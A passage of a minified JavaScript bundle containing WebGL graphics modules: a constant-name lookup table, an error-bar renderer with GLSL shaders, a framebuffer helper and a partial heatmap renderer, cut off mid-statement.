}`]);g.meshShader={vertex:f,fragment:a,attributes:[{name:"position",type:"vec4"},{name:"color",type:"vec4"},{name:"uv",type:"vec2"},{name:"vector",type:"vec3"}]},g.pickShader={vertex:l,fragment:u,attributes:[{name:"position",type:"vec4"},{name:"id",type:"vec4"},{name:"vector",type:"vec3"}]}},1950:function(d){d.exports={0:"NONE",1:"ONE",2:"LINE_LOOP",3:"LINE_STRIP",4:"TRIANGLES",5:"TRIANGLE_STRIP",6:"TRIANGLE_FAN",256:"DEPTH_BUFFER_BIT",512:"NEVER",513:"LESS",514:"EQUAL",515:"LEQUAL",516:"GREATER",517:"NOTEQUAL",518:"GEQUAL",519:"ALWAYS",768:"SRC_COLOR",769:"ONE_MINUS_SRC_COLOR",770:"SRC_ALPHA",771:"ONE_MINUS_SRC_ALPHA",772:"DST_ALPHA",773:"ONE_MINUS_DST_ALPHA",774:"DST_COLOR",775:"ONE_MINUS_DST_COLOR",776:"SRC_ALPHA_SATURATE",1024:"STENCIL_BUFFER_BIT",1028:"FRONT",1029:"BACK",1032:"FRONT_AND_BACK",1280:"INVALID_ENUM",1281:"INVALID_VALUE",1282:"INVALID_OPERATION",1285:"OUT_OF_MEMORY",1286:"INVALID_FRAMEBUFFER_OPERATION",2304:"CW",2305:"CCW",2849:"LINE_WIDTH",2884:"CULL_FACE",2885:"CULL_FACE_MODE",2886:"FRONT_FACE",2928:"DEPTH_RANGE",2929:"DEPTH_TEST",2930:"DEPTH_WRITEMASK",2931:"DEPTH_CLEAR_VALUE",2932:"DEPTH_FUNC",2960:"STENCIL_TEST",2961:"STENCIL_CLEAR_VALUE",2962:"STENCIL_FUNC",2963:"STENCIL_VALUE_MASK",2964:"STENCIL_FAIL",2965:"STENCIL_PASS_DEPTH_FAIL",2966:"STENCIL_PASS_DEPTH_PASS",2967:"STENCIL_REF",2968:"STENCIL_WRITEMASK",2978:"VIEWPORT",3024:"DITHER",3042:"BLEND",3088:"SCISSOR_BOX",3089:"SCISSOR_TEST",3106:"COLOR_CLEAR_VALUE",3107:"COLOR_WRITEMASK",3317:"UNPACK_ALIGNMENT",3333:"PACK_ALIGNMENT",3379:"MAX_TEXTURE_SIZE",3386:"MAX_VIEWPORT_DIMS",3408:"SUBPIXEL_BITS",3410:"RED_BITS",3411:"GREEN_BITS",3412:"BLUE_BITS",3413:"ALPHA_BITS",3414:"DEPTH_BITS",3415:"STENCIL_BITS",3553:"TEXTURE_2D",4352:"DONT_CARE",4353:"FASTEST",4354:"NICEST",5120:"BYTE",5121:"UNSIGNED_BYTE",5122:"SHORT",5123:"UNSIGNED_SHORT",5124:"INT",5125:"UNSIGNED_INT",5126:"FLOAT",5386:"INVERT",5890:"TEXTURE",6401:"STENCIL_INDEX",6402:"DEPTH_COMPONENT",6406:"ALPHA",6407:"RGB",6408:"RGBA",6409:"LUMINANCE",6410:"LUMINANCE_ALPHA",7680:"KEEP",7681:"REPLACE",7682:"INCR",7683:"DECR",7936:"VENDOR",7937:"RENDERER",7938:"VERSION",9728:"NEAREST",9729:"LINEAR",9984:"NEAREST_MIPMAP_NEAREST",9985:"LINEAR_MIPMAP_NEAREST",9986:"NEAREST_MIPMAP_LINEAR",9987:"LINEAR_MIPMAP_LINEAR",10240:"TEXTURE_MAG_FILTER",10241:"TEXTURE_MIN_FILTER",10242:"TEXTURE_WRAP_S",10243:"TEXTURE_WRAP_T",10497:"REPEAT",10752:"POLYGON_OFFSET_UNITS",16384:"COLOR_BUFFER_BIT",32769:"CONSTANT_COLOR",32770:"ONE_MINUS_CONSTANT_COLOR",32771:"CONSTANT_ALPHA",32772:"ONE_MINUS_CONSTANT_ALPHA",32773:"BLEND_COLOR",32774:"FUNC_ADD",32777:"BLEND_EQUATION_RGB",32778:"FUNC_SUBTRACT",32779:"FUNC_REVERSE_SUBTRACT",32819:"UNSIGNED_SHORT_4_4_4_4",32820:"UNSIGNED_SHORT_5_5_5_1",32823:"POLYGON_OFFSET_FILL",32824:"POLYGON_OFFSET_FACTOR",32854:"RGBA4",32855:"RGB5_A1",32873:"TEXTURE_BINDING_2D",32926:"SAMPLE_ALPHA_TO_COVERAGE",32928:"SAMPLE_COVERAGE",32936:"SAMPLE_BUFFERS",32937:"SAMPLES",32938:"SAMPLE_COVERAGE_VALUE",32939:"SAMPLE_COVERAGE_INVERT",32968:"BLEND_DST_RGB",32969:"BLEND_SRC_RGB",32970:"BLEND_DST_ALPHA",32971:"BLEND_SRC_ALPHA",33071:"CLAMP_TO_EDGE",33170:"GENERATE_MIPMAP_HINT",33189:"DEPTH_COMPONENT16",33306:"DEPTH_STENCIL_ATTACHMENT",33635:"UNSIGNED_SHORT_5_6_5",33648:"MIRRORED_REPEAT",33901:"ALIASED_POINT_SIZE_RANGE",33902:"ALIASED_LINE_WIDTH_RANGE",33984:"TEXTURE0",33985:"TEXTURE1",33986:"TEXTURE2",33987:"TEXTURE3",33988:"TEXTURE4",33989:"TEXTURE5",33990:"TEXTURE6",33991:"TEXTURE7",33992:"TEXTURE8",33993:"TEXTURE9",33994:"TEXTURE10",33995:"TEXTURE11",33996:"TEXTURE12",33997:"TEXTURE13",33998:"TEXTURE14",33999:"TEXTURE15",34e3:"TEXTURE16",34001:"TEXTURE17",34002:"TEXTURE18",34003:"TEXTURE19",34004:"TEXTURE20",34005:"TEXTURE21",34006:"TEXTURE22",34007:"TEXTURE23",34008:"TEXTURE24",34009:"TEXTURE25",34010:"TEXTURE26",34011:"TEXTURE27",34012:"TEXTURE28",34013:"TEXTURE29",34014:"TEXTURE30",34015:"TEXTURE31",34016:"ACTIVE_TEXTURE",34024:"MAX_RENDERBUFFER_SIZE",34041:"DEPTH_STENCIL",34055:"INCR_WRAP",34056:"DECR_WRAP",34067:"TEXTURE_CUBE_MAP",34068:"TEXTURE_BINDING_CUBE_MAP",34069:"TEXTURE_CUBE_MAP_POSITIVE_X",34070:"TEXTURE_CUBE_MAP_NEGATIVE_X",34071:"TEXTURE_CUBE_MAP_POSITIVE_Y",34072:"TEXTURE_CUBE_MAP_NEGATIVE_Y",34073:"TEXTURE_CUBE_MAP_POSITIVE_Z",34074:"TEXTURE_CUBE_MAP_NEGATIVE_Z",34076:"MAX_CUBE_MAP_TEXTURE_SIZE",34338:"VERTEX_ATTRIB_ARRAY_ENABLED",34339:"VERTEX_ATTRIB_ARRAY_SIZE",34340:"VERTEX_ATTRIB_ARRAY_STRIDE",34341:"VERTEX_ATTRIB_ARRAY_TYPE",34342:"CURRENT_VERTEX_ATTRIB",34373:"VERTEX_ATTRIB_ARRAY_POINTER",34466:"NUM_COMPRESSED_TEXTURE_FORMATS",34467:"COMPRESSED_TEXTURE_FORMATS",34660:"BUFFER_SIZE",34661:"BUFFER_USAGE",34816:"STENCIL_BACK_FUNC",34817:"STENCIL_BACK_FAIL",34818:"STENCIL_BACK_PASS_DEPTH_FAIL",34819:"STENCIL_BACK_PASS_DEPTH_PASS",34877:"BLEND_EQUATION_ALPHA",34921:"MAX_VERTEX_ATTRIBS",34922:"VERTEX_ATTRIB_ARRAY_NORMALIZED",34930:"MAX_TEXTURE_IMAGE_UNITS",34962:"ARRAY_BUFFER",34963:"ELEMENT_ARRAY_BUFFER",34964:"ARRAY_BUFFER_BINDING",34965:"ELEMENT_ARRAY_BUFFER_BINDING",34975:"VERTEX_ATTRIB_ARRAY_BUFFER_BINDING",35040:"STREAM_DRAW",35044:"STATIC_DRAW",35048:"DYNAMIC_DRAW",35632:"FRAGMENT_SHADER",35633:"VERTEX_SHADER",35660:"MAX_VERTEX_TEXTURE_IMAGE_UNITS",35661:"MAX_COMBINED_TEXTURE_IMAGE_UNITS",35663:"SHADER_TYPE",35664:"FLOAT_VEC2",35665:"FLOAT_VEC3",35666:"FLOAT_VEC4",35667:"INT_VEC2",35668:"INT_VEC3",35669:"INT_VEC4",35670:"BOOL",35671:"BOOL_VEC2",35672:"BOOL_VEC3",35673:"BOOL_VEC4",35674:"FLOAT_MAT2",35675:"FLOAT_MAT3",35676:"FLOAT_MAT4",35678:"SAMPLER_2D",35680:"SAMPLER_CUBE",35712:"DELETE_STATUS",35713:"COMPILE_STATUS",35714:"LINK_STATUS",35715:"VALIDATE_STATUS",35716:"INFO_LOG_LENGTH",35717:"ATTACHED_SHADERS",35718:"ACTIVE_UNIFORMS",35719:"ACTIVE_UNIFORM_MAX_LENGTH",35720:"SHADER_SOURCE_LENGTH",35721:"ACTIVE_ATTRIBUTES",35722:"ACTIVE_ATTRIBUTE_MAX_LENGTH",35724:"SHADING_LANGUAGE_VERSION",35725:"CURRENT_PROGRAM",36003:"STENCIL_BACK_REF",36004:"STENCIL_BACK_VALUE_MASK",36005:"STENCIL_BACK_WRITEMASK",36006:"FRAMEBUFFER_BINDING",36007:"RENDERBUFFER_BINDING",36048:"FRAMEBUFFER_ATTACHMENT_OBJECT_TYPE",36049:"FRAMEBUFFER_ATTACHMENT_OBJECT_NAME",36050:"FRAMEBUFFER_ATTACHMENT_TEXTURE_LEVEL",36051:"FRAMEBUFFER_ATTACHMENT_TEXTURE_CUBE_MAP_FACE",36053:"FRAMEBUFFER_COMPLETE",36054:"FRAMEBUFFER_INCOMPLETE_ATTACHMENT",36055:"FRAMEBUFFER_INCOMPLETE_MISSING_ATTACHMENT",36057:"FRAMEBUFFER_INCOMPLETE_DIMENSIONS",36061:"FRAMEBUFFER_UNSUPPORTED",36064:"COLOR_ATTACHMENT0",36096:"DEPTH_ATTACHMENT",36128:"STENCIL_ATTACHMENT",36160:"FRAMEBUFFER",36161:"RENDERBUFFER",36162:"RENDERBUFFER_WIDTH",36163:"RENDERBUFFER_HEIGHT",36164:"RENDERBUFFER_INTERNAL_FORMAT",36168:"STENCIL_INDEX8",36176:"RENDERBUFFER_RED_SIZE",36177:"RENDERBUFFER_GREEN_SIZE",36178:"RENDERBUFFER_BLUE_SIZE",36179:"RENDERBUFFER_ALPHA_SIZE",36180:"RENDERBUFFER_DEPTH_SIZE",36181:"RENDERBUFFER_STENCIL_SIZE",36194:"RGB565",36336:"LOW_FLOAT",36337:"MEDIUM_FLOAT",36338:"HIGH_FLOAT",36339:"LOW_INT",36340:"MEDIUM_INT",36341:"HIGH_INT",36346:"SHADER_COMPILER",36347:"MAX_VERTEX_UNIFORM_VECTORS",36348:"MAX_VARYING_VECTORS",36349:"MAX_FRAGMENT_UNIFORM_VECTORS",37440:"UNPACK_FLIP_Y_WEBGL",37441:"UNPACK_PREMULTIPLY_ALPHA_WEBGL",37442:"CONTEXT_LOST_WEBGL",37443:"UNPACK_COLORSPACE_CONVERSION_WEBGL",37444:"BROWSER_DEFAULT_WEBGL"}},6603:function(d,g,t){var r=t(1950);d.exports=function(a){return r[a]}},3110:function(d,g,t){d.exports=h;var r=t(5827),f=t(2944),a=t(7667),l=[1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1];function u(i,v,T,w){this.gl=i,this.shader=w,this.buffer=v,this.vao=T,this.pixelRatio=1,this.bounds=[[1/0,1/0,1/0],[-1/0,-1/0,-1/0]],this.clipBounds=[[-1/0,-1/0,-1/0],[1/0,1/0,1/0]],this.lineWidth=[1,1,1],this.capSize=[10,10,10],this.lineCount=[0,0,0],this.lineOffset=[0,0,0],this.opacity=1,this.hasAlpha=!1}var s=u.prototype;s.isOpaque=function(){return!this.hasAlpha},s.isTransparent=function(){return this.hasAlpha},s.drawTransparent=s.draw=function(i){var v=this.gl,T=this.shader.uniforms;this.shader.bind();var w=T.view=i.view||l,E=T.projection=i.projection||l;T.model=i.model||l,T.clipBounds=this.clipBounds,T.opacity=this.opacity;var p=w[12],A=w[13],m=w[14],n=w[15],C=i._ortho||!1,x=C?2:1,I=x*this.pixelRatio*(E[3]*p+E[7]*A+E[11]*m+E[15]*n)/v.drawingBufferHeight;this.vao.bind();for(var k=0;k<3;++k)v.lineWidth(this.lineWidth[k]*this.pixelRatio),T.capSize=this.capSize[k]*I,this.lineCount[k]&&v.drawArrays(v.LINES,this.lineOffset[k],this.lineCount[k]);this.vao.unbind()};function y(i,v){for(var T=0;T<3;++T)i[0][T]=Math.min(i[0][T],v[T]),i[1][T]=Math.max(i[1][T],v[T])}var c=function(){for(var i=new Array(3),v=0;v<3;++v){for(var T=[],w=1;w<=2;++w)for(var E=-1;E<=1;E+=2){var p=(w+v)%3,A=[0,0,0];A[p]=E,T.push(A)}i[v]=T}return i}();function b(i,v,T,w){for(var E=c[w],p=0;p<E.length;++p){var A=E[p];i.push(v[0],v[1],v[2],T[0],T[1],T[2],T[3],A[0],A[1],A[2])}return E.length}s.update=function(i){i=i||{},"lineWidth"in i&&(this.lineWidth=i.lineWidth,Array.isArray(this.lineWidth)||(this.lineWidth=[this.lineWidth,this.lineWidth,this.lineWidth])),"capSize"in i&&(this.capSize=i.capSize,Array.isArray(this.capSize)||(this.capSize=[this.capSize,this.capSize,this.capSize])),this.hasAlpha=!1,"opacity"in i&&(this.opacity=+i.opacity,this.opacity<1&&(this.hasAlpha=!0));var v=i.color||[[0,0,0],[0,0,0],[0,0,0]],T=i.position,w=i.error;if(Array.isArray(v[0])||(v=[v,v,v]),T&&w){var E=[],p=T.length,A=0;this.bounds=[[1/0,1/0,1/0],[-1/0,-1/0,-1/0]],this.lineCount=[0,0,0];for(var m=0;m<3;++m){this.lineOffset[m]=A;e:for(var n=0;n<p;++n){for(var C=T[n],x=0;x<3;++x)if(isNaN(C[x])||!isFinite(C[x]))continue e;var I=w[n],k=v[m];if(Array.isArray(k[0])&&(k=v[n]),k.length===3?k=[k[0],k[1],k[2],1]:k.length===4&&(k=[k[0],k[1],k[2],k[3]],!this.hasAlpha&&k[3]<1&&(this.hasAlpha=!0)),!(isNaN(I[0][m])||isNaN(I[1][m]))){if(I[0][m]<0){var B=C.slice();B[m]+=I[0][m],E.push(C[0],C[1],C[2],k[0],k[1],k[2],k[3],0,0,0,B[0],B[1],B[2],k[0],k[1],k[2],k[3],0,0,0),y(this.bounds,B),A+=2+b(E,B,k,m)}if(I[1][m]>0){var B=C.slice();B[m]+=I[1][m],E.push(C[0],C[1],C[2],k[0],k[1],k[2],k[3],0,0,0,B[0],B[1],B[2],k[0],k[1],k[2],k[3],0,0,0),y(this.bounds,B),A+=2+b(E,B,k,m)}}}this.lineCount[m]=A-this.lineOffset[m]}this.buffer.update(E)}},s.dispose=function(){this.shader.dispose(),this.buffer.dispose(),this.vao.dispose()};function h(i){var v=i.gl,T=r(v),w=f(v,[{buffer:T,type:v.FLOAT,size:3,offset:0,stride:40},{buffer:T,type:v.FLOAT,size:4,offset:12,stride:40},{buffer:T,type:v.FLOAT,size:3,offset:28,stride:40}]),E=a(v);E.attributes.position.location=0,E.attributes.color.location=1,E.attributes.offset.location=2;var p=new u(v,T,w,E);return p.update(i),p}},7667:function(d,g,t){var r=t(6832),f=t(5158),a=r([`precision highp float;
#define GLSLIFY 1

attribute vec3 position, offset;
attribute vec4 color;
uniform mat4 model, view, projection;
uniform float capSize;
varying vec4 fragColor;
varying vec3 fragPosition;

void main() {
  vec4 worldPosition  = model * vec4(position, 1.0);
  worldPosition       = (worldPosition / worldPosition.w) + vec4(capSize * offset, 0.0);
  gl_Position         = projection * view * worldPosition;
  fragColor           = color;
  fragPosition        = position;
}`]),l=r([`precision highp float;
#define GLSLIFY 1

bool outOfRange(float a, float b, float p) {
  return ((p > max(a, b)) || 
          (p < min(a, b)));
}

bool outOfRange(vec2 a, vec2 b, vec2 p) {
  return (outOfRange(a.x, b.x, p.x) ||
          outOfRange(a.y, b.y, p.y));
}

bool outOfRange(vec3 a, vec3 b, vec3 p) {
  return (outOfRange(a.x, b.x, p.x) ||
          outOfRange(a.y, b.y, p.y) ||
          outOfRange(a.z, b.z, p.z));
}

bool outOfRange(vec4 a, vec4 b, vec4 p) {
  return outOfRange(a.xyz, b.xyz, p.xyz);
}

uniform vec3 clipBounds[2];
uniform float opacity;
varying vec3 fragPosition;
varying vec4 fragColor;

void main() {
  if (
    outOfRange(clipBounds[0], clipBounds[1], fragPosition) ||
    fragColor.a * opacity == 0.
  ) discard;

  gl_FragColor = opacity * fragColor;
}`]);d.exports=function(u){return f(u,a,l,null,[{name:"position",type:"vec3"},{name:"color",type:"vec4"},{name:"offset",type:"vec3"}])}},4234:function(d,g,t){var r=t(8931);d.exports=A;var f=null,a,l,u,s;function y(m){var n=m.getParameter(m.FRAMEBUFFER_BINDING),C=m.getParameter(m.RENDERBUFFER_BINDING),x=m.getParameter(m.TEXTURE_BINDING_2D);return[n,C,x]}function c(m,n){m.bindFramebuffer(m.FRAMEBUFFER,n[0]),m.bindRenderbuffer(m.RENDERBUFFER,n[1]),m.bindTexture(m.TEXTURE_2D,n[2])}function b(m,n){var C=m.getParameter(n.MAX_COLOR_ATTACHMENTS_WEBGL);f=new Array(C+1);for(var x=0;x<=C;++x){for(var I=new Array(C),k=0;k<x;++k)I[k]=m.COLOR_ATTACHMENT0+k;for(var k=x;k<C;++k)I[k]=m.NONE;f[x]=I}}function h(m){switch(m){case a:throw new Error("gl-fbo: Framebuffer unsupported");case l:throw new Error("gl-fbo: Framebuffer incomplete attachment");case u:throw new Error("gl-fbo: Framebuffer incomplete dimensions");case s:throw new Error("gl-fbo: Framebuffer incomplete missing attachment");default:throw new Error("gl-fbo: Framebuffer failed for unspecified reason")}}function i(m,n,C,x,I,k){if(!x)return null;var B=r(m,n,C,I,x);return B.magFilter=m.NEAREST,B.minFilter=m.NEAREST,B.mipSamples=1,B.bind(),m.framebufferTexture2D(m.FRAMEBUFFER,k,m.TEXTURE_2D,B.handle,0),B}function v(m,n,C,x,I){var k=m.createRenderbuffer();return m.bindRenderbuffer(m.RENDERBUFFER,k),m.renderbufferStorage(m.RENDERBUFFER,x,n,C),m.framebufferRenderbuffer(m.FRAMEBUFFER,I,m.RENDERBUFFER,k),k}function T(m){var n=y(m.gl),C=m.gl,x=m.handle=C.createFramebuffer(),I=m._shape[0],k=m._shape[1],B=m.color.length,_=m._ext,F=m._useStencil,O=m._useDepth,z=m._colorType;C.bindFramebuffer(C.FRAMEBUFFER,x);for(var N=0;N<B;++N)m.color[N]=i(C,I,k,z,C.RGBA,C.COLOR_ATTACHMENT0+N);B===0?(m._color_rb=v(C,I,k,C.RGBA4,C.COLOR_ATTACHMENT0),_&&_.drawBuffersWEBGL(f[0])):B>1&&_.drawBuffersWEBGL(f[B]);var G=C.getExtension("WEBGL_depth_texture");G?F?m.depth=i(C,I,k,G.UNSIGNED_INT_24_8_WEBGL,C.DEPTH_STENCIL,C.DEPTH_STENCIL_ATTACHMENT):O&&(m.depth=i(C,I,k,C.UNSIGNED_SHORT,C.DEPTH_COMPONENT,C.DEPTH_ATTACHMENT)):O&&F?m._depth_rb=v(C,I,k,C.DEPTH_STENCIL,C.DEPTH_STENCIL_ATTACHMENT):O?m._depth_rb=v(C,I,k,C.DEPTH_COMPONENT16,C.DEPTH_ATTACHMENT):F&&(m._depth_rb=v(C,I,k,C.STENCIL_INDEX,C.STENCIL_ATTACHMENT));var J=C.checkFramebufferStatus(C.FRAMEBUFFER);if(J!==C.FRAMEBUFFER_COMPLETE){m._destroyed=!0,C.bindFramebuffer(C.FRAMEBUFFER,null),C.deleteFramebuffer(m.handle),m.handle=null,m.depth&&(m.depth.dispose(),m.depth=null),m._depth_rb&&(C.deleteRenderbuffer(m._depth_rb),m._depth_rb=null);for(var N=0;N<m.color.length;++N)m.color[N].dispose(),m.color[N]=null;m._color_rb&&(C.deleteRenderbuffer(m._color_rb),m._color_rb=null),c(C,n),h(J)}c(C,n)}function w(m,n,C,x,I,k,B,_){this.gl=m,this._shape=[n|0,C|0],this._destroyed=!1,this._ext=_,this.color=new Array(I);for(var F=0;F<I;++F)this.color[F]=null;this._color_rb=null,this.depth=null,this._depth_rb=null,this._colorType=x,this._useDepth=k,this._useStencil=B;var O=this,z=[n|0,C|0];Object.defineProperties(z,{0:{get:function(){return O._shape[0]},set:function(N){return O.width=N}},1:{get:function(){return O._shape[1]},set:function(N){return O.height=N}}}),this._shapeVector=z,T(this)}var E=w.prototype;function p(m,n,C){if(m._destroyed)throw new Error("gl-fbo: Can't resize destroyed FBO");if(!(m._shape[0]===n&&m._shape[1]===C)){var x=m.gl,I=x.getParameter(x.MAX_RENDERBUFFER_SIZE);if(n<0||n>I||C<0||C>I)throw new Error("gl-fbo: Can't resize FBO, invalid dimensions");m._shape[0]=n,m._shape[1]=C;for(var k=y(x),B=0;B<m.color.length;++B)m.color[B].shape=m._shape;m._color_rb&&(x.bindRenderbuffer(x.RENDERBUFFER,m._color_rb),x.renderbufferStorage(x.RENDERBUFFER,x.RGBA4,m._shape[0],m._shape[1])),m.depth&&(m.depth.shape=m._shape),m._depth_rb&&(x.bindRenderbuffer(x.RENDERBUFFER,m._depth_rb),m._useDepth&&m._useStencil?x.renderbufferStorage(x.RENDERBUFFER,x.DEPTH_STENCIL,m._shape[0],m._shape[1]):m._useDepth?x.renderbufferStorage(x.RENDERBUFFER,x.DEPTH_COMPONENT16,m._shape[0],m._shape[1]):m._useStencil&&x.renderbufferStorage(x.RENDERBUFFER,x.STENCIL_INDEX,m._shape[0],m._shape[1])),x.bindFramebuffer(x.FRAMEBUFFER,m.handle);var _=x.checkFramebufferStatus(x.FRAMEBUFFER);_!==x.FRAMEBUFFER_COMPLETE&&(m.dispose(),c(x,k),h(_)),c(x,k)}}Object.defineProperties(E,{shape:{get:function(){return this._destroyed?[0,0]:this._shapeVector},set:function(m){if(Array.isArray(m)||(m=[m|0,m|0]),m.length!==2)throw new Error("gl-fbo: Shape vector must be length 2");var n=m[0]|0,C=m[1]|0;return p(this,n,C),[n,C]},enumerable:!1},width:{get:function(){return this._destroyed?0:this._shape[0]},set:function(m){return m=m|0,p(this,m,this._shape[1]),m},enumerable:!1},height:{get:function(){return this._destroyed?0:this._shape[1]},set:function(m){return m=m|0,p(this,this._shape[0],m),m},enumerable:!1}}),E.bind=function(){if(!this._destroyed){var m=this.gl;m.bindFramebuffer(m.FRAMEBUFFER,this.handle),m.viewport(0,0,this._shape[0],this._shape[1])}},E.dispose=function(){if(!this._destroyed){this._destroyed=!0;var m=this.gl;m.deleteFramebuffer(this.handle),this.handle=null,this.depth&&(this.depth.dispose(),this.depth=null),this._depth_rb&&(m.deleteRenderbuffer(this._depth_rb),this._depth_rb=null);for(var n=0;n<this.color.length;++n)this.color[n].dispose(),this.color[n]=null;this._color_rb&&(m.deleteRenderbuffer(this._color_rb),this._color_rb=null)}};function A(m,n,C,x){a||(a=m.FRAMEBUFFER_UNSUPPORTED,l=m.FRAMEBUFFER_INCOMPLETE_ATTACHMENT,u=m.FRAMEBUFFER_INCOMPLETE_DIMENSIONS,s=m.FRAMEBUFFER_INCOMPLETE_MISSING_ATTACHMENT);var I=m.getExtension("WEBGL_draw_buffers");if(!f&&I&&b(m,I),Array.isArray(n)&&(x=C,C=n[1]|0,n=n[0]|0),typeof n!="number")throw new Error("gl-fbo: Missing shape parameter");var k=m.getParameter(m.MAX_RENDERBUFFER_SIZE);if(n<0||n>k||C<0||C>k)throw new Error("gl-fbo: Parameters are too large for FBO");x=x||{};var B=1;if("color"in x){if(B=Math.max(x.color|0,0),B<0)throw new Error("gl-fbo: Must specify a nonnegative number of colors");if(B>1)if(I){if(B>m.getParameter(I.MAX_COLOR_ATTACHMENTS_WEBGL))throw new Error("gl-fbo: Context does not support "+B+" draw buffers")}else throw new Error("gl-fbo: Multiple draw buffer extension not supported")}var _=m.UNSIGNED_BYTE,F=m.getExtension("OES_texture_float");if(x.float&&B>0){if(!F)throw new Error("gl-fbo: Context does not support floating point textures");_=m.FLOAT}else x.preferFloat&&B>0&&F&&(_=m.FLOAT);var O=!0;"depth"in x&&(O=!!x.depth);var z=!1;return"stencil"in x&&(z=!!x.stencil),new w(m,n,C,_,B,O,z,I)}},3530:function(d,g,t){var r=t(8974).sprintf,f=t(6603),a=t(9365),l=t(8008);d.exports=u;function u(s,y,c){var b=a(y)||"of unknown name (see npm glsl-shader-name)",h="unknown type";c!==void 0&&(h=c===f.FRAGMENT_SHADER?"fragment":"vertex");for(var i=r(`Error compiling %s shader %s:
`,h,b),v=r("%s%s",i,s),T=s.split(`
`),w={},E=0;E<T.length;E++){var p=T[E];if(!(p===""||p==="\0")){var A=parseInt(p.split(":")[2]);if(isNaN(A))throw new Error(r("Could not parse error: %s",p));w[A]=p}}for(var m=l(y).split(`
`),E=0;E<m.length;E++)if(!(!w[E+3]&&!w[E+2]&&!w[E+1])){var n=m[E];if(i+=n+`
`,w[E+1]){var C=w[E+1];C=C.substr(C.split(":",3).join(":").length+1).trim(),i+=r(`^^^ %s

`,C)}}return{long:i.trim(),short:v.trim()}}},6386:function(d,g,t){d.exports=h;var r=t(5070),f=t(9560),a=t(5306),l=t(5158),u=t(5827),s=t(1292);function y(i,v,T,w,E,p,A){this.plot=i,this.shader=v,this.pickShader=T,this.positionBuffer=w,this.weightBuffer=E,this.colorBuffer=p,this.idBuffer=A,this.xData=[],this.yData=[],this.shape=[0,0],this.bounds=[1/0,1/0,-1/0,-1/0],this.pickOffset=0}var c=y.prototype,b=[0,0,1,0,0,1,1,0,1,1,0,1];c.draw=function(){var i=[1,0,0,0,1,0,0,0,1];return function(){var v=this.plot,T=this.shader,w=this.bounds,E=this.numVertices;if(!(E<=0)){var p=v.gl,A=v.dataBox,m=w[2]-w[0],n=w[3]-w[1],C=A[2]-A[0],x=A[3]-A[1];i[0]=2*m/C,i[4]=2*n/x,i[6]=2*(w[0]-A[0])/C-1,i[7]=2*(w[1]-A[1])/x-1,T.bind();var I=T.uniforms;I.viewTransform=i,I.shape=this.shape;var k=T.attributes;this.positionBuffer.bind(),k.position.pointer(),this.weightBuffer.bind(),k.weight.pointer(p.UNSIGNED_BYTE,!1),this.colorBuffer.bind(),k.color.pointer(p.UNSIGNED_BYTE,!0),p.drawArrays(p.TRIANGLES,0,E)}}}(),c.drawPick=function(){var i=[1,0,0,0,1,0,0,0,1],v=[0,0,0,0];return function(T){var w=this.plot,E=this.pickShader,p=this.bounds,A=this.numVertices;if(!(A<=0)){var m=w.gl,n=w.dataBox,C=p[2]-p[0],x=p[3]-p[1],I=n[2]-n[0],k=n[3]-n[1];i[0]=2*C/I,i[4]=2*x/k,i[6]=2*(p[0]-n[0])/I-1,i[7]=2*(p[1]-n[1])/k-1;for(var B=0;B<4;++B)v[B]=T>>B*8&255;this.pickOffset=T,E.bind();var _=E.uniforms;_.viewTransform=i,_.pickOffset=v,_.shape=this.shape;var F=E.attributes;return this.positionBuffer.bind(),F.position.pointer(),this.weightBuffer.bind(),F.weight.pointer(m.UNSIGNED_BYTE,!1),this.idBuffer.bind(),F.pickId.pointer(m.UNSIGNED_BYTE,!1),m.drawArrays(m.TRIANGLES,0,A),T+this.shape[0]*this.shape[1]}}}(),c.pick=function(i,v,T){var w=this.pickOffset,E=this.shape[0]*this.shape[1];if(T<w||T>=w+E)return null;var p=T-w,A=this.xData,m=this.yData;return{object:this,pointId:p,dataCoord:[A[p%this.shape[0]],m[p/this.shape[0]|0]]}},c.update=function(i){i=i||{};var v=i.shape||[0,0],T=i.x||f(v[0]),w=i.y||f(v[1]),E=i.z||new Float32Array(v[0]*v[1]),p=i.zsmooth!==!1;this.xData=T,this.yData=w;var A=i.colorLevels||[0],m=i.colorValues||[0,0,0,1],n=A.length,C=this.bounds,x,I,k,B;p?(x=C[0]=T[0],I=C[1]=w[0],k=C[2]=T[T.length-1],B=C[3]=w[w.length-1]):(x=C[0]=T[0]+(T[1]-T[0])/2,I=C[1]=w[0]+(w[1]-w[0])/2,k=C[2]=T[T.length-1]+(T[T.length-1]-T[T.length-2])/2,B=C[3]=w[w.length-1]+(w[w.length-1]-w[w.length-2])/2);var _=1/(k-x),F=1/(B-I),O=v[0],z=v[1];this.shape=[O,z];var N=(p?(O-1)*(z-1):O*z)*(b.length>>>1);this.numVertices=N;for(var G=a.mallocUint8(N*4),J=a.mallocFloat32(N*2),q=a.mallocUint8(N*2),ne=a.mallocUint32(N),fe=0,X=p?O-1:O,W=p?z-1:z,V=0;V<W;++V){var Y,Q;p?(Y=F*(w[V]-I),Q=F*(w[V+1]-I)):(Y=V<z-1?F*(w[V]-(w[V+1]-w[V])/2-I):F*(w[V]-(w[V]-w[V-1])/2-I),Q=V<z-1?F*(w[V]+(w[V+1]-w[V])/2-I):F*(w[V]+(w[V]-w[V-1])/2-I));for(var ie=0;ie<X;++ie){var j,K;p?(j=_*(T[ie]-x),K=_*(T[ie+1]-x)):(j=ie<O-1?_*(T[ie]-(T[ie+1]-T[ie])/2-x):_*(T[ie]-(T[ie]-T[ie-1])/2-x),K=ie<O-1?_*(T[ie]+(T[ie+1]-T[ie])/2-x):_*(T[ie]+(T[ie]-T[ie-1])/2-x));for(var oe=0;oe<b.length;oe+=2){var re=b[oe],le=b[oe+1],pe=p?(V+le)*O+(ie+re):V*O+ie,we=E[pe],xe=r.le(A,we),ke,_e,be,ge;if(xe<0)ke=m[0],_e=m[1],be=m[2],ge=m[3];else if(xe===n-1)ke=m[4*n-4],_e=m[4*n-3],be=m[4*n-2],ge=m[4*n-1];else{var 